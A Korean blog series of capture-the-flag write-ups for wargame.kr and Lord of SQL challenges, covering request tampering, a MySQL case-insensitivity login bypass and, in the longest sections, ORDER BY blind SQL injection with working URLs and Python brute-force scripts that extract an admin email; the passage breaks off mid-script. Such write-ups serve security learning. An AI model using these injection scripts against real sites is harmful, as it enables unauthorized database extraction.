wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 fly_to_the_moon 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번 문제에서는 앞서 소개드렸던 문제들보다 보다 추가적인 이해가 요구됩니다.


그래도 큰 어려움은 없으니 차근차근 설명해보도록 하겠습니다.



 

 문제 이해


문제는 다음과 같습니다.


문제에서는 javascript game이며, clear를 하거나 우회를하여 클리어하라고 말합니다.

저는 시간이 남아돌아서 게임좀 해보려는데 겁나 어렵더군요....


게임을 하다보면, 아래의 스코어와 재시작 버튼이 있는 것을 알 수 있습니다.

31337 스코어까지 어떻게 올리지... 하지 말고 fiddler를 켜서 문제를 살펴보도록 합시다.



 

 문제 풀이


문제에서 POST 데이터로 token과 score를 보내는 것을 볼 수 있습니다.

token은 주기적으로 바뀌는 인증데이터로 보이고, score는 우리가 조작해야 하는 값입니다.


그러나 아래와 같이 유효하지 않은 token을 가지고 score를 전송하면 토큰 에러를 뱉어냅니다.


토큰은 주기적으로 GET 메소드 형태로 응답이 돌아오게 됩니다.


때문에 토큰이 도착했다! 싶으면 바로 거기에 맞춰서 POST 형태의 데이터를 조작하여 보내주도록 합니다.



이로 인해 문제가 풀리게 됩니다.



wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 WTF_CODE 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


근데, 문제 풀이의 이해는 딱히 없는 것 같고, 풀이만 있을 것 같습니다.


이 문제는 그냥 패킷 캡처 툴 혹은 프록시 툴을 다룰줄 아느냐에 대한 문제 같습니다.


 

 문제 이해


문제는 다음과 같습니다.


문제에서는 이것은 새로운 형태의 프로그래밍 언어라며, 이 코드를 읽을 수 있는지에 대해 물어보고 있습니다.

대체 무슨 코드길래...


문제 사이트에 들어가 source_code.ws를 다운받으니 다음과 같은 코드가 보입니다.


이를 보아하니 난독화 기법으로 작성된 코드의 일종으로 보입니다.


ws 확장자가 뭔지 알아봐야겠습니다.



 

 문제 풀이


ws 확장자는 따로 없는 것 같고, 아마 whitespace 의 약자가 아닌가 싶습니다.

구글링을 통해 whitespace 언어 혹은 whitespace code decoder 라고 작성해보았습니다.

해당 페이지에 들어가 코드를 붙여넣고 [Run]을 해보니 문제가 풀렸습니다.




wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 login_filtering 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번 문제에서는 앞서 소개드렸던 문제들보다 심도 있는 이해가 요구됩니다.


큰 어려움은 없으니 차근차근 설명해보도록 하겠습니다.



 

 문제 이해


문제는 다음과 같습니다.

문제에서는 계정이 있는데, 블록되어 막혔다고 합니다.

이를 우회하여 들어갈 수 있는지 물어보는 문제입니다.


문제로 들어가 소스를 확인해보았습니다.

<?php

if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}

/*
create table user(
 idx int auto_increment primary key,
 id char(32),
 ps char(32)
);
*/

 if(isset($_POST['id']) && isset($_POST['ps'])){
  include("../lib.php"); # include for auth_code function.

  mysql_connect("localhost","login_filtering","login_filtering_pz");
  mysql_select_db ("login_filtering");
  mysql_query("set names utf8");

  $key = auth_code("login filtering");

  $id = mysql_real_escape_string(trim($_POST['id']));
  $ps = mysql_real_escape_string(trim($_POST['ps']));

  $row=mysql_fetch_array(mysql_query("select * from user where id='$id' and ps=md5('$ps')"));

  if(isset($row['id'])){
   if($id=='guest' || $id=='blueh4g'){
    echo "your account is blocked";
   }else{
    echo "login ok"."<br />";
    echo "Password : ".$key;
   }
  }else{
   echo "wrong..";
  }
 }
?>
<!DOCTYPE html>
<style>
 * {margin:0; padding:0;}
 body {background-color:#ddd;}
 #mdiv {width:200px; text-align:center; margin:50px auto;}
 input[type=text],input[type=[password] {width:100px;}
 td {text-align:center;}
</style>
<body>
<form method="post" action="./">
<div id="mdiv">
<table>
<tr><td>ID</td><td><input type="text" name="id" /></td></tr>
<tr><td>PW</td><td><input type="password" name="ps" /></td></tr>
<tr><td colspan="2"><input type="submit" value="login" /></td></tr>
</table>
 <div><a href='?view-source'>get source</a></div>
</form>
</div>
</body>
<!--

you have blocked accounts.

guest / guest
blueh4g / blueh4g1234ps

-->


25번 라인과 26번 라인을 보니 id, pw에는 real_escape 필터링이 되어 있어 싱글쿼터가 먹히질 않습니다.

그 말은 즉슨 sql injection을 하는 길을 모두 막아뒀다는 것입니다.


또 다른 필터링은 눈에띄지 않습니다.


다만 우리가 사용할 수 있는 계정은 guest/guest와, blueh4a/blueh4g1234ps라는 것입니다.



 

 문제 풀이


이번 문제에서는 코드를 보고 어떻게 우회할지 고민하는 문제입니다.

따라서 피들러를 사용할 필요가 없습니다.


원래는 피들러와 같은 툴로 이것저것 찔러봐야 알 수 있지만, 여기서는 삽질의 과정을 제외하고 풀이 과정만 작성해보려 합니다.


문제 풀이에 앞서, PHP와 MySQL 사이의 통신을 살펴보도록 하겠습니다.


 

 PHP와 MySQL의 대소문자 구분


PHP에서는 대소문자를 기본적으로 구분하여 인식합니다.


그 말은 즉, 우리가 Guest, gUest 등으로 입력하게 되면 PHP는 대소문자를 구분하기 때문에 guest라는 값과 다르게 인식한다는 것입니다.


그러나, MySQL은 기본적으로 대소문자를 구분하지 않습니다.


즉, 우리가 Guest를 입력하든, gUest를 입력하든 모두 같은 guest로 인식한다는 것입니다.


이러한 이유로 다음과 같은 경우의 쿼리 결과 값이 같아지기도 하는 현상이 발생합니다.


select * from testtable where id like 'a%';

select * from testtable where id like 'A%';


위의 like문에서 a와 A는 전혀 다른 값이지만, MySQL에서는 같은 값으로 인식합니다.



 

 대소문자 구분을 통한 우회


누구는 대소문자를 구분하고, 누구는 대소문자를 구분할 수 없는 이런 아이러니함을 이용하여, 이번 문제를 풀어보려 합니다.


위의 소스에서 PHP에서는 대소문자를 구분하여 블록된 아이디를 입력하면, 블록처리를 하게 됩니다.


그렇다면 여기서 guest 대신 Guest를 입력하게 되면 일단, PHP는 우회가 가능합니다.


또한 Guest라는 값은 MySQL에 들어갈 때 guest와 동일한 값으로 인식되기 때문에 쿼리는 다음과 같이 변하게 됩니다.


select * from user where id='guest' and ps=md5('guest');


이로 인해 문제가 풀리게 됩니다.



wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 flee_button문제에 이어 qr_code_puzzle 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번 문제도 마찬가지로 문제 풀이의 이해는 딱히 없는 것 같고, 풀이만 있을 것 같습니다.


이 문제는 그냥 패킷 캡처 툴 혹은 프록시 툴을 다룰줄 아느냐에 대한 문제 같습니다.


 

 문제 이해


문제는 다음과 같습니다.


문제에서는 Javascript를 이용하여 만들어진 QR코드 퍼즐을 풀 수 있는지에 대해 물어보고 있습니다.

문제 내용만으로는 파악할 수 있는 것이 없으니 문제 사이트에 들어가보도록 합시다.


문제 사이트에 들어가보니 위와 같이 꽈져 있는 QR 코드를 볼 수 있습니다.

이걸 일일이 푸는 것도 방법이겠지만 굉장히 즐거운 시간이 아닐 수 없게 될 것 같습니다. 하하..



 

 문제 풀이


이 문제에 대한 풀이 방법은 두 가지 입니다.


 

 이미지 위치 확인하기


먼저 QR 코드 이미지가 어디서 나타난 것인지 확인하는 방법입니다.



위의 이미지에서는 현재 페이지의 하위 디렉토리인 img 디렉토리의 qr.png 파일이 있다고 합니다.

해당 루트로 들어가면 이미지가 나타납니다.



 

 개발자 모드에서 이미지 확인


위의 방법과 거의 동일하지만, 이미지를 찾기 위해 개발자모드를 이용할 수 있습니다.

개발자모드(F12) -> [Sources] -> 폴더를 쭉 살피다보면 이미지가 나타남




wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 already_got 문제에 이어 flee_button에 대한 이해와 풀이를 진행해보도록 하겠습니다.


근데, 문제 풀이의 이해는 딱히 없는 것 같고, 풀이만 있을 것 같습니다.


이번 문제는 인터넷 브라우저의 개발자모드를 사용할 수 있는지, 혹은 소스를 볼 수 있는지 등의 여부를 확인하는 문제인 것 같습니다.


 

 문제 이해


문제는 다음과 같습니다.

문제에서는 버튼을 클릭할 수 있는지에 대한 여부를 물어보고 있습니다.

처음에는 간단히 버튼 클릭이 안 되도록 막아놨구나, 특정한 코드를 지우면 되려나? 하며 문제에 접근했지만 생각보다 웃긴 모습을 보게 되었습니다.


자세한 건 문제풀이에서 보도록 하겠습니다.



 

 문제 풀이


이번 문제에서는 fiddler를 사용할 게 없습니다. 바로 개발자모드를 들어가줍니다.


개발자모드는 인터넷 브라우저를 키고 F12를 클릭하면 들어가집니다.


문제를 들어가면 위와 같이 마우스 위치와 조금 떨어진 곳에 버튼이 나타나 있습니다.

백날 쫒아가봐야 절대 클릭 안 될 거 같습니다. 저는 못 쫒아갔습니다.


일단 버튼을 클릭한다는 건, 버튼이 클릭됐을 때의 동작이 있다는 것입니다.


개발자모드로 어떤 행위가 버튼에 기록되어 있는지 확인해보도록 합니다.



보아하니, 버튼을 클릭하면 GET 메소드 형태로 key=0e35와 같은 쿼리를 전송하도록 되어 있습니다.

그러면 버튼을 클릭한 것처럼 동작되도록 하려면, ?key=0e35를 주소창에 덭붙여주도록 합니다.





wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 already_got 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


근데, 문제 풀이의 이해는 딱히 없는 것 같고, 풀이만 있을 것 같습니다.


이 문제는 그냥 패킷 캡처 툴 혹은 프록시 툴을 다룰줄 아느냐에 대한 문제 같습니다.


 

 문제 이해


문제는 다음과 같습니다.



문제에서는 HTTP Response header를 볼 수 있는지에 대해 물어보고 있습니다.

이 말은 즉, HTTP 요청을 보내고 응답으로 돌아오는 데이터의 헤더를 볼 수 있는지에 대한 질문입니다.


이러한 값을 보기 위해서는 프록시 툴을 사용하거나, 패키을 통째로 볼 수 있는 툴을 쓰거나 등의 방법이 있습니다.


저는 wargame.kr의 풀이를 진행하기 위해 기본적으로 fiddler라는 프로그램을 사용할 것입니다.



 

 문제 풀이


먼저 fiddler를 키고, 문제에 해당하는 페이지를 들어갑니다.

그렇게 하면, 다음과 같이 패킷이 캡처가 됩니다.


여기서 먼저 캡처된 패킷을 클릭한 후, [Inspector]를 클릭하고 요청 영역(위쪽)과 응답 영역(아래쪽)의 설정을 모두 [Raw]로 맞춰 봅니다.


Header를 보기 위해서는 저는 아무래도 Raw가 편하더라고요.ㅎㅎ


그렇게 하면 위와 같은 값이 나타나게 됩니다.


위에서는 FLAG : 뭐시기뭐시기 라는 값이 나타나 있는 것을 확인할 수 있습니다.




LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 hell_fire에 이어 evil_wizard 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

evil_wizard문제는 이미 hell_fire에서 삽질을 해줬기 때문에 매우 손쉽게 풀었습니다.


[LOS - Lord Of SQL] Level 23 - hell_fire 풀이


위의 hell_fire 문제 풀이에서 제가 수행했던 삽질은 코드를 이렇게도 써보고, 저렇게도 써보고... 값이 나오는지 안 나오는지 계에에에속 확인해봤습니다. 하지만 해당 포스트에서도 이와 같은 이해를 반복하기 위해 원리 및 이해를 모두 작성하도록 할 것입니다.


 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysql_query($query);
  while(($result = mysql_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>


위의 문제는 hell_fire 문제와 동일하게 되어 있습니다.

order by 를 통해 값이 정렬되며, 정렬된 값이 있다면 그 값이 반환되어 테이블에 보인다는 것입니다.


이 문제에서는 order by에 대한 이해를 바탕으로 값을 알아내야 합니다.

6번째 라인에서 same with hell_fire? really?라고 되어 있는데.. 제 문제 풀이에서는 같았습니다. ㅠㅠ

혹시 다른 방법이 있었던 건 아닌지 



 

 MySQL Order By 이해


먼저, order by를 이용하여 Blind SQL Injection을 수행해야 하기 때문에, 간단한 order by문을 이용해보려 합니다.


 

 order by 정렬


order by는 정렬을 오름차순, 내림차순 등으로 수행할 수 있는 조건문입니다.

정렬을 수행할 때 order by 조건은 다음과 같이 두 가지 형태로 줄 수 있습니다.


(1) order by [컬럼 이름];

(2) order by [컬럼 이름]='값';


위의 두 가지 형태로 값을 입력하게 되면 조건에 맞는 값의 순서대로 정렬되게 됩니다.


만약 (1)과 같이 정렬하게 되면 단순히 값의 크기에 따라 정렬되게 됩니다.

그러나 (2)와 같이 정렬하게 되면, 값이 일치하는가의 여부에 따라 정렬되게 됩니다.


또한 추가적으로, (2)와 같이 정렬할 때 값이 일치하는 게 아래로, 아닌 것이 위로 올라가게 됩니다.

이는 다음과 같이 비유할 수 있습니다.


if (order by id='1') ==> 값이 일치하면 참을 반환하여 1이 반환됨

if (order by id='1') ==> 값이 일치하지 않으면 거짓을 반환하여 0이 반환됨

if (order by id='1') ==> 비교할 값이 없으면 NULL이 반환되어 -1이 반환됨(이건 제 뇌피셜입니다.)


따라서 값의 일치여부와 존재여부에 따라 -1, 0, 1의 순서대로 정렬되기 때문에 참일 경우 가장 아래로 내려가는 것이라고 판단됩니다.


 

 정렬 조건 나열


order by는 정렬하려는 조건을 여러 개를 둘 수 있습니다.

즉, order by id,pw 이렇게 할 수 있다는 것입니다.


이는 id로 정렬하고, 만약 id와 정렬 기준이 같을 때, pw로 다시 정렬을 수행하라, 라고 정렬 조건을 줄 수 있다는 것입니다.



 

 정렬하고자 하는 값이 동일하면?


정렬하고자 하는 값이 동일할 때는 그 조건을 통해 변화가 일어나지 않습니다.

만약 admin의 4번째 글자와 rubiya의 4번째 글자를 비교하게 되면, 둘 다 거짓일 경우와 둘 다 참일 경우 외에는 나타나지 않습니다. 이 말은 즉, 뒤에 어떠한 조건을 더 붙여준들 정렬 순서가 바뀌지 않는다는 것입니다.


이럴 경우에 발생하는 예외를 따로 처리해주어야 합니다.



 

 

 문제 풀이(쿼리)

 

해당 문제에서는 비트별로 값을 알아내는 것보다 hex 값으로 값을 알아내는 방법을 이용하였습니다.

 

 

 

 E-mail 길이 알아내기


order by를 이용한 아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=length(email)=1,id=%27rubiya%27

 

위의 쿼리는 email의 길이가 1인 것을 기준으로 먼저 정렬하고, 다음으로 id 값이 rubiya인 것을 기준으로 정렬하였습니다.

이는 order=length(email)=1,id='rubiya' 으로 작성하였습니다.

 

그러나 위의 쿼리의 경우 email의 길이가 1이 아니기 때문에 첫 번째 정렬기준이 아닌 두 번째 정렬 기준으로 정렬됩니다. 즉, rubiya 컬림이 아래로 내려간 모습의 정렬이 이루어집니다.

 

다음 쿼리는 admin의 email 길이가 일치하였을 경우입니다.

 https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=length(email)=30,id=%27rubiya%27

 

위와 같이 쿼리를 날렸을 때, admin 컬럼이 아래로 내려가게 됩니다.

 

 

 

 E-mail 값 알아내기 - null 영역이 아닌 곳


rubiya의 E-mail의 길이는 18입니다.

그러나 admin의 E-mail 길이는 30으로 나타나 있습니다.

만약 아래와 같은 쿼리를 이용하게 되면, NULL이 아닌 구간까지는 무난하게 구할 수 있습니다. 하지만 19번째 구간부터는 비교할 값이 없기 때문에 다른 방법으로 값을 구해야 합니다.


먼저, null 영역이 아닌 곳을 구할 수 있는 쿼리는 다음과 같습니다.

  https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=conv(hex(substr(email,1,1)),16,10)=97,id=%27rubiya%27

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

conv(hex(substr(email,1,1)),16,10)=97,id='rubiya'

여기서는 substr 함수를 이용하여 email의 첫 번째 글자의 10진수 값이 97인('a')인 값을 기준으로 먼저 정렬하고, 일치한 게 없으면 id='rubiya'로 정렬하라! 입니다.


이 쿼리에서는 admin의 email 값의 첫 번째 글자가 'a'이기 때문에 admin의 컬럼이 아래로 내려가게 됩니다.




 

 E-mail 값 알아내기 = null 영역인 곳


rubiya의 E-mail의 길이가 18이므로, 19번째 값부터는 어떤 값을 비교하든 정렬이 제대로 이루어지지 않습니다.

그렇다면, 여기서는 다른 방법의 쿼리를 이용하는 것이 좋습니다.

 https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=substr(lpad(bin(ord(substr(email,19,1))),16,0),1,1)=1,id='rubiya'


위의 쿼리는 비트 값이 1이냐 0이냐를 이용하여 값을 알아내는 쿼리입니다.

위와 같은 쿼리를 이용하게 되면, 각 비트의 값을 알아낼 수 있습니다.



 

 P.S.


값을 모두 비교할 때 NULL 영역을 비교하는 것처럼 모두 비교하면 되지 않느냐?? 할 수 있습니다.

제가 삽질해본 결과 다음과 같은 단점이 발생합니다.


만약 같은 자리의 비트의 값이 같으면?


비트의 값이 같을 수 있는 경우는 두 가지로 0일 때와 1일 때 입니다. 하지만 이 두 경우는 구분해줄 수 없습니다...

뒤의 조건문으로 어떻게 해결할 수 없는 문제입니다.


따라서, null이 아닌 경우에는 비트가 같은 경우가 생기기 때문에 hex 값으로 비교해주는 것이 좋습니다.


만약 hex 값으로 비교하게 되면, rubiya와 같은 경우 이외에는 없기 때문에 그나마 예외로 처리해줄 수 있게 됩니다.

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order='
headers = {'Cookie': 'PHPSESSID=pbf1b42v85vbjneir5beukkvn5'}


# Get the E-mail Length =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
emailLen = 0

for i in range(1, 100):
    payload = "length(email)=" + str(i) + ",id='rubiya'"
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'idemailscorerubiya' in res.text:
        emailLen = i
        break
    else:
        pass

print('[=] Find E-mail Length : %d' % emailLen)


# Find the E-mail(FRONT)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Front    = ''
rubiya   = 'rubiya805@gmail.cm'

for j in range(1, emailLen+1):
    for i in range(0, 129):
        payload = "conv(hex(substr(email,{},1)),16,10)={},id='rubiya'".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            if i == 0:
                break
            print('[=] Find Char : ', chr(i), ' : ', hex(i))
            Front += chr(i)
            break
        else:
            pass

    if i == 128:
        print('[=] Find Char : ', rubiya[j-1], ' :  same with rubiya')
        Front += rubiya[j-1]


print('[=] Find Front String : ', Front)

# Find the E-mail(BACK)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
bitLen = 16
Back   = ''

for j in range(len(Front)+1, emailLen+1):
    
    bit = ''

    for i in range(1, bitLen+1):
        payload = "substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,id='rubiya'".format(j, bitLen, i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            # True
            bit += '1'
        else:
            bit += '0'

    print(' =  Find Back Char    : ', chr(int(bit, 2)), '  :  ', bit)

    Back += chr(int(bit, 2))

print('[=] Find Back String  : ', Back)
print('\n\n')
print('[=] Find E-mail       : ', Front + Back)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 dark_eyes에 이어 hell_fire 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

hell_fire문제는 매우 삽질을 많이 해봤습니다.


제가 수행했던 삽질은 코드를 이렇게도 써보고, 저렇게도 써보고... 값이 나오는지 안 나오는지 계에에에속 확인해봤습니다.

그러나 해당 포스트에서는 삽질 중에 성공한 삽질만 정리하여 작성할 것입니다.


 

 

 

 문제 이해

 

문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysql_query($query);
  while(($result = mysql_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>


위의 문제는 이전의 문제들과 조금 다른 점이 있습니다.

order by 를 통해 값이 정렬되며, 정렬된 값이 있다면 그 값이 반환되어 테이블에 보인다는 것입니다.


이 문제에서는 order by에 대한 이해를 바탕으로 값을 알아내야 합니다..

이도 어쩌면 order by를 이용한 Blind SQL Injection이 아닐까 생각해봅니다.



 

 MySQL Order By 이해


먼저, order by를 이용하여 Blind SQL Injection을 수행해야 하기 때문에, 간단한 order by문을 이용해보려 합니다.


 

 order by 정렬


order by는 정렬을 오름차순, 내림차순 등으로 수행할 수 있는 조건문입니다.

정렬을 수행할 때 order by 조건은 다음과 같이 두 가지 형태로 줄 수 있습니다.


(1) order by [컬럼 이름];

(2) order by [컬럼 이름]='값';


위의 두 가지 형태로 값을 입력하게 되면 조건에 맞는 값의 순서대로 정렬되게 됩니다.


만약 (1)과 같이 정렬하게 되면 단순히 값의 크기에 따라 정렬되게 됩니다.

그러나 (2)와 같이 정렬하게 되면, 값이 일치하는가의 여부에 따라 정렬되게 됩니다.


또한 추가적으로, (2)와 같이 정렬할 때 값이 일치하는 게 아래로, 아닌 것이 위로 올라가게 됩니다.

이는 다음과 같이 비유할 수 있습니다.


if (order by id='1') ==> 값이 일치하면 참을 반환하여 1이 반환됨

if (order by id='1') ==> 값이 일치하지 않으면 거짓을 반환하여 0이 반환됨

if (order by id='1') ==> 비교할 값이 없으면 NULL이 반환되어 -1이 반환됨(이건 제 뇌피셜입니다.)


따라서 값의 일치여부와 존재여부에 따라 -1, 0, 1의 순서대로 정렬되기 때문에 참일 경우 가장 아래로 내려가는 것이라고 판단됩니다.


 

 정렬 조건 나열


order by는 정렬하려는 조건을 여러 개를 둘 수 있습니다.

즉, order by id,pw 이렇게 할 수 있다는 것입니다.


이는 id로 정렬하고, 만약 id와 정렬 기준이 같을 때, pw로 다시 정렬을 수행하라, 라고 정렬 조건을 줄 수 있다는 것입니다.



 

 정렬하고자 하는 값이 동일하면?


정렬하고자 하는 값이 동일할 때는 그 조건을 통해 변화가 일어나지 않습니다.

만약 admin의 4번째 글자와 rubiya의 4번째 글자를 비교하게 되면, 둘 다 거짓일 경우와 둘 다 참일 경우 외에는 나타나지 않습니다. 이 말은 즉, 뒤에 어떠한 조건을 더 붙여준들 정렬 순서가 바뀌지 않는다는 것입니다.


이럴 경우에 발생하는 예외를 따로 처리해주어야 합니다.



 

 

 문제 풀이(쿼리)

 

해당 문제에서는 비트별로 값을 알아내는 것보다 hex 값으로 값을 알아내는 방법을 이용하였습니다.

 

 

 

 E-mail 길이 알아내기


order by를 이용한 아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=length(email)=1,id=%27rubiya%27

 

위의 쿼리는 email의 길이가 1인 것을 기준으로 먼저 정렬하고, 다음으로 id 값이 rubiya인 것을 기준으로 정렬하였습니다.

이는 order=length(email)=1,id='rubiya' 으로 작성하였습니다.

 

그러나 위의 쿼리의 경우 email의 길이가 1이 아니기 때문에 첫 번째 정렬기준이 아닌 두 번째 정렬 기준으로 정렬됩니다. 즉, rubiya 컬림이 아래로 내려간 모습의 정렬이 이루어집니다.

 

다음 쿼리는 admin의 email 길이가 일치하였을 경우입니다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=length(email)=28,id=%27rubiya%27

 

위와 같이 쿼리를 날렸을 때, admin 컬럼이 아래로 내려가게 됩니다.


 

 

 

 E-mail 값 알아내기 - null 영역이 아닌 곳


rubiya의 E-mail의 길이는 18입니다.

그러나 admin의 E-mail 길이는 28로 나타나 있습니다.

만약 아래와 같은 쿼리를 이용하게 되면, NULL이 아닌 구간까지는 무난하게 구할 수 있습니다. 하지만 19번째 구간부터는 비교할 값이 없기 때문에 다른 방법으로 값을 구해야 합니다.


먼저, null 영역이 아닌 곳을 구할 수 있는 쿼리는 다음과 같습니다.

  https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=conv(hex(substr(email,1,1)),16,10)=97,id=%27rubiya%27

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

conv(hex(substr(email,1,1)),16,10)=97,id='rubiya'

여기서는 substr 함수를 이용하여 email의 첫 번째 글자의 10진수 값이 97인('a')인 값을 기준으로 먼저 정렬하고, 일치한 게 없으면 id='rubiya'로 정렬하라! 입니다.


이 쿼리에서는 admin의 email 값의 첫 번째 글자가 'a'이기 때문에 admin의 컬럼이 아래로 내려가게 됩니다.




 

 E-mail 값 알아내기 = null 영역인 곳


rubiya의 E-mail의 길이가 18이므로, 19번째 값부터는 어떤 값을 비교하든 정렬이 제대로 이루어지지 않습니다.

그렇다면, 여기서는 다른 방법의 쿼리를 이용하는 것이 좋습니다.

 https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=substr(lpad(bin(ord(substr(email,19,1))),16,0),1,1)=1,id='rubiya'


위의 쿼리는 비트 값이 1이냐 0이냐를 이용하여 값을 알아내는 쿼리입니다.

위와 같은 쿼리를 이용하게 되면, 각 비트의 값을 알아낼 수 있습니다.



 

 P.S.


값을 모두 비교할 때 NULL 영역을 비교하는 것처럼 모두 비교하면 되지 않느냐?? 할 수 있습니다.

제가 삽질해본 결과 다음과 같은 단점이 발생합니다.


만약 같은 자리의 비트의 값이 같으면?


비트의 값이 같을 수 있는 경우는 두 가지로 0일 때와 1일 때 입니다. 하지만 이 두 경우는 구분해줄 수 없습니다...

뒤의 조건문으로 어떻게 해결할 수 없는 문제입니다.


따라서, null이 아닌 경우에는 비트가 같은 경우가 생기기 때문에 hex 값으로 비교해주는 것이 좋습니다.


만약 hex 값으로 비교하게 되면, rubiya와 같은 경우 이외에는 없기 때문에 그나마 예외로 처리해줄 수 있게 됩니다.

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order='
headers = {'Cookie': 'PHPSESSID=pbf1b42v85vbjneir5beukkvn5'}


# Get the E-mail Length =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
emailLen = 0

for i in range(1, 100):
    payload = "length(email)=" + str(i) + ",id='rubiya'"
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'idemailscorerubiya' in res.text:
        emailLen = i
        break
    else:
        pass

print('[=] Find E-mail Length : %d' % emailLen)


# Find the E-mail(FRONT)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Front    = ''
rubiya   = 'rubiya805@gmail.cm'

for j in range(1, emailLen+1):
    for i in range(0, 129):
        payload = "conv(hex(substr(email,{},1)),16,10)={},id='rubiya'".format(j,i)
        res     = sess.get(url=URL+payload, headers=headers, verify=False)

        if 'idemailscorerubiya' in res.text:
            if i == 0:
                break
            print('[=] Find Char : ', chr(i), ' : ', hex(i))
            Front += chr(i)
            break
        else:
            pass

    if i == 128:
        print('[=] Find Char : ', rubiya[j-1], ' :  same with rubiya')
        Front += rubiya[j-1]


print('[=] Find Front String : ', Front)

# Find the E-mail(BACK)  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
bitLen = 16
Back   = ''

for j in range(len(Front)+1, emailLen+1):
    
    bit = ''

